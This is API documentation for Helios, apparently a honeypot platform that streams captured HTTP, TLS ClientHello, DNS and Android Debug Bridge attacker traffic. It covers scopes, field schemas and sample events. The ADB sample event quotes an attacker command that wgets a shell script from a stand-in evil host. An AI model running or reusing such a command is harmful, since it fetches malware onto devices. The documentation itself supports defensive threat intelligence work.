# Helios Helios is the Synthient honeypot platform. A globally distributed mesh of decoy HTTP, TLS, DNS, and Android Debug Bridge endpoints sits behind residential, datacenter, and mobile egress points, capturing every request, ClientHello, hostname lookup, and shell command attackers send. Every observation flows into the same lookup, feed, and streaming surfaces that power the rest of Synthient. ## What Helios captures | Sensor | Surface | Contents | | ------ | ---------------------------------------------------- | ------------------------------------------------------------------------------------- | | HTTP | Plaintext :80 honeypots impersonating common origins | Method, URI, headers, raw request bytes, source proxy metadata | | TLS | TLS terminators on :443 capturing ClientHello | Negotiated version, cipher suites, extensions, supported groups, signature algorithms | | DNS | Tunnel-side resolution observations | Queried hostname and destination port for each tunnelled flow | | ADB | Android Debug Bridge :5555 sensors | Base64-encoded shell commands, session grouping, command hashes | Each event carries a `meta` block identifying the upstream proxy network (`pool_id`, `provider`, `proxy_ip`, and the impersonated `server`), so you can attribute attacker traffic back to the exit it traversed. --- ## Access surfaces Helios data is available three ways depending on your latency and volume needs: | Surface | Best for | Endpoint | | --------------- | ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | | Domain lookup | Per-domain intelligence: aggregate stats, top subdomains/ports, recent events | [`GET /api/v4/lookup/domain/{domain}`](https://docs.synthient.com/ipapi#look-up-a-domain) | | Live streams | Real-time correlation, SOC tooling, in-memory threat caches | NDJSON streams below | | Parquet exports | Bulk analytics, training data, retrospective hunts | Daily and hourly snapshots via [Feeds](https://docs.synthient.com/enterprise/feeds) | --- ## Authentication & scopes All Helios endpoints are served from `https://api.synthient.com` under `/api/v4` and require your API key in the `x-api-key` header. Each sensor exposes two scopes, one for the parquet exports and one for the real-time stream: | Scope | Grants | | ----------------------------------------------- | ---------------------------------------------------- | | `HONEYPOT_HTTP_FEED` / `HONEYPOT_HTTP_STREAM` | HTTP capture exports / stream. | | `HONEYPOT_HTTPS_FEED` / `HONEYPOT_HTTPS_STREAM` | TLS ClientHello capture exports / stream. | | `HONEYPOT_DNS_FEED` / `HONEYPOT_DNS_STREAM` | DNS resolution exports / stream. | | `HONEYPOT_ADB_FEED` / `HONEYPOT_ADB_STREAM` | Android Debug Bridge shell-command exports / stream. | See [Authentication](https://docs.synthient.com/authentication) for full key handling and [Errors](https://docs.synthient.com/errors) for the `401`/`403` responses you'll see if a scope is missing. --- ## Domain intelligence The fastest way to put Helios to work is the domain lookup. It returns aggregate stats, a time series, top subdomains and ports, and the most recent raw events seen against the queried domain, built from the same captures the streams below emit. ```bash title="cURL" curl -G https://api.synthient.com/api/v4/lookup/domain/example.com \ -H "x-api-key: $SYNTHIENT_API_KEY" ``` ```bash title="CLI" synthient lookup domain "example.com" ``` Full request, response, and code samples live on the [IP API](https://docs.synthient.com/ipapi#look-up-a-domain) page. --- ## Common response codes A successful stream returns `200` with an NDJSON body, one JSON object per line, held open for up to 30 minutes. `403` means the key lacks the per-sensor scope for the surface you called, `HONEYPOT_*_STREAM` for streams or `HONEYPOT_*_FEED` for exports. `429` means too many concurrent streams are already open. See [Errors](https://docs.synthient.com/errors) for the full reference and retry guidance. --- ## Stream HTTP captures (GET /api/v4/feeds/helio/http/stream) Real-time stream of HTTP request captures from Helios sensors, including method, URI, headers, and the raw request bytes. - `timestamp` `integer` — Unix timestamp in **milliseconds** when the request was captured. - `domain` `string` — Destination domain the sensor impersonated. - `port` `integer` — Destination port. - `tunnel_id` `integer` — Internal tunnel identifier. - `protocol` `string` — Always `"http"` for this stream. - `details.method` `string` — HTTP method, such as `GET` or `POST`. - `details.uri` `string` — Request URI. - `details.version` `string` — HTTP version, such as `HTTP/1.1`. - `details.headers` `object` — Request headers as a string-to-string map. Header keys preserve the casing the client sent. - `raw` `string` — Raw HTTP request bytes. - `meta` `object` — Source metadata: `pool_id`, `provider`, `proxy_ip`, and the upstream `server` as `host:port`. **Request** `GET /api/v4/feeds/helio/http/stream` ```bash title="cURL" curl -N https://api.synthient.com/api/v4/feeds/helio/http/stream \ -H "x-api-key: $SYNTHIENT_API_KEY" ``` ```bash title="CLI" synthient stream honeypot_http ``` **NDJSON events** ```json title="Stream" {"timestamp":1778200137487,"tunnel_id":961793813,"domain":"ip-api.com","port":80,"protocol":"http","meta":{"proxy_ip":"195.63.23.169","server":"s1860.novel-layer.com:6000","pool_id":"flixview_gms","provider":"popa"},"details":{"method":"GET","uri":"/json/?fields=61439","version":"HTTP/1.1","headers":{"User-Agent":"axios/1.16.0","Host":"ip-api.com"}},"raw":"GET /json/?fields=61439 HTTP/1.1\r\nHost: ip-api.com\r\n…"} ``` --- ## Stream TLS captures (GET /api/v4/feeds/helio/https/stream) Real-time stream of TLS ClientHello captures from Helios sensors. The `details` block carries the fully parsed handshake: record/handshake versions, the client random and session ID, the full cipher-suite and extension lists with their numeric codes, supported groups, signature algorithms, key-share groups, PSK key-exchange modes, and the boolean handshake flags (`extended_master_secret`, `renegotiation_info`, `status_request`, `signed_certificate_timestamps`, `has_grease`, etc.). - `timestamp` `integer` — Unix timestamp in **milliseconds** when the ClientHello was captured. - `domain` `string` — Destination domain, taken from the SNI extension. - `port` `integer` — Destination port. - `tunnel_id` `integer` — Internal tunnel identifier. - `protocol` `string` — Always `"https"` for this stream. - `meta` `object` — Source metadata: `proxy_ip`, `server`, `pool_id`, `provider`. - `details` `object | null` — Parsed ClientHello. `null` only when parsing failed. Keys include: `record_version`, `handshake_version`, `client_random`, `session_id`, `session_id_length`, `cipher_suites` (each `{code, name}`), `compression_methods`, `sni`, `supported_versions`, `supported_groups`, `ec_point_formats`, `signature_algorithms`, `extensions` (each `{code, name, length}`), `key_share_groups`, `psk_key_exchange_modes`, plus boolean flags `extended_master_secret`, `renegotiation_info`, `status_request`, `signed_certificate_timestamps`, `has_grease`, `encrypt_then_mac`, `post_handshake_auth`, `delegated_credentials`, `application_settings`. - `raw` `null` — Currently always `null`; the raw ClientHello bytes are available only via the parquet exports. **Request** `GET /api/v4/feeds/helio/https/stream` ```bash title="cURL" curl -N https://api.synthient.com/api/v4/feeds/helio/https/stream \ -H "x-api-key: $SYNTHIENT_API_KEY" ``` ```bash title="CLI" synthient stream honeypot_https ``` **NDJSON events** ```json title="Stream" { "timestamp": 1778200008794, "tunnel_id": 740057945, "domain": "www.youtube.com", "port": 443, "protocol": "https", "meta": { "proxy_ip": "217.181.88.34", "server": "s1863.novel-layer.com:6000", "pool_id": "flixview_gms", "provider": "popa" }, "details": { "record_version": "TLS 1.2", "handshake_version": "TLS 1.2", "client_random": "9fdd003157d728fcae103ccc0f849396ed67784ed71c557cbaa1ae9abe39aea5", "session_id_length": 32, "session_id": "4cfe7bb506b4e8593d96fbf1d66bf70cf1a46c39c7e2fe55672c3cf9689e10f6", "cipher_suites": [ { "code": 4865, "name": "TLS_AES_128_GCM_SHA256" }, { "code": 4866, "name": "TLS_AES_256_GCM_SHA384" } // ... rest of the cipher suites ], "sni": "www.youtube.com", "supported_versions": ["TLS 1.3", "TLS 1.2"], "extensions": [ { "code": 0, "name": "server_name", "length": 20 }, { "code": 43, "name": "supported_versions", "length": 9 } // ... rest of the extensions ], "extended_master_secret": true, "renegotiation_info": true, "status_request": true, "has_grease": false // ... rest of the parsed ClientHello }, "raw": null } ``` --- ## Stream DNS captures (GET /api/v4/feeds/helio/dns/stream) Real-time stream of resolution observations from Helios honeypot tunnels: every hostname an inbound flow is destined for, alongside the destination port. Useful for catching the early "where is the C2?" stage of an attacker session and for surfacing fast-flux infrastructure. - `timestamp` `integer` — Unix timestamp in **milliseconds** when the resolution was observed. - `tunnel_id` `integer` — Internal tunnel identifier that joins back to the matching HTTP/TLS captures from the same flow. - `domain` `string` — Hostname being resolved by the inbound flow. - `port` `integer` — Destination port the flow intended to reach. - `meta` `object` — Source metadata: `proxy_ip`, `server`, `pool_id`, `provider`. **Streamed only.** The `meta` block is omitted from parquet exports because the projector does not handle nested messages. Fall back to `tunnel_id` if you need to correlate exports across sensors. **Request** `GET /api/v4/feeds/helio/dns/stream` ```bash title="cURL" curl -N https://api.synthient.com/api/v4/feeds/helio/dns/stream \ -H "x-api-key: $SYNTHIENT_API_KEY" ``` **NDJSON events** ```json title="Stream" {"timestamp":1762605697000,"tunnel_id":42,"domain":"c2.example.com","port":443,"meta":{"proxy_ip":"203.0.113.42","server":"hp-04","pool_id":"pool-us-east","provider":"BRIGHTDATA"}} ``` --- ## Stream ADB captures (GET /api/v4/feeds/helio/adb/stream) Real-time stream of Android Debug Bridge shell commands captured by Helios sensors. The `command` field is the raw shell command bytes serialized as a JSON string. Use the SHA-256 `hash` to deduplicate identical commands across sessions. - `session` `string` — ADB session hash that groups commands from the same connection. - `sequential_id` `integer` — Monotonically-increasing event ID within a session. - `command` `string` — Shell command executed by the attacker, encoded as a JSON string. - `hash` `string` — SHA-256 of the executed command bytes, stable across sessions. **Request** `GET /api/v4/feeds/helio/adb/stream` ```bash title="cURL" curl -N https://api.synthient.com/api/v4/feeds/helio/adb/stream \ -H "x-api-key: $SYNTHIENT_API_KEY" ``` **NDJSON events** ```json title="Stream" {"session":"a1b2c3d4…","sequential_id":918274,"command":"cd /data/local/tmp; wget http://evil.example.com/bin.sh","hash":"7e8f…"} ``` --- ## Consuming Helios streams Helios uses the same NDJSON server-streaming pattern as the rest of the [Firehose](https://docs.synthient.com/enterprise/firehose). Connections stay open up to 30 minutes; reconnect immediately on clean close, and back off with jitter on errors. Full Python and Go consumers are on the Firehose page. Swap the URL for the Helios stream you want. --- ## Bulk exports For retrospective analysis, every Helios sensor publishes daily and hourly parquet snapshots through the standard [Feeds](https://docs.synthient.com/enterprise/feeds) endpoints under the `honeypot_http`, `honeypot_https`, `honeypot_dns`, and `honeypot_adb` stream identifiers. ```bash title="cURL" curl -G https://api.synthient.com/api/v4/feeds/helio/http/export \ -H "x-api-key: $SYNTHIENT_API_KEY" ``` ```bash title="CLI" synthient feeds snapshots honeypot_http ``` --- ## Next steps - [IP API domain lookup](https://docs.synthient.com/ipapi#look-up-a-domain): per-domain Helios intelligence. - [Feeds](https://docs.synthient.com/enterprise/feeds): daily/hourly parquet snapshots of every Helios sensor. - [Firehose](https://docs.synthient.com/enterprise/firehose): full NDJSON consumer reference and proxy, anonymizer, and torrent streams.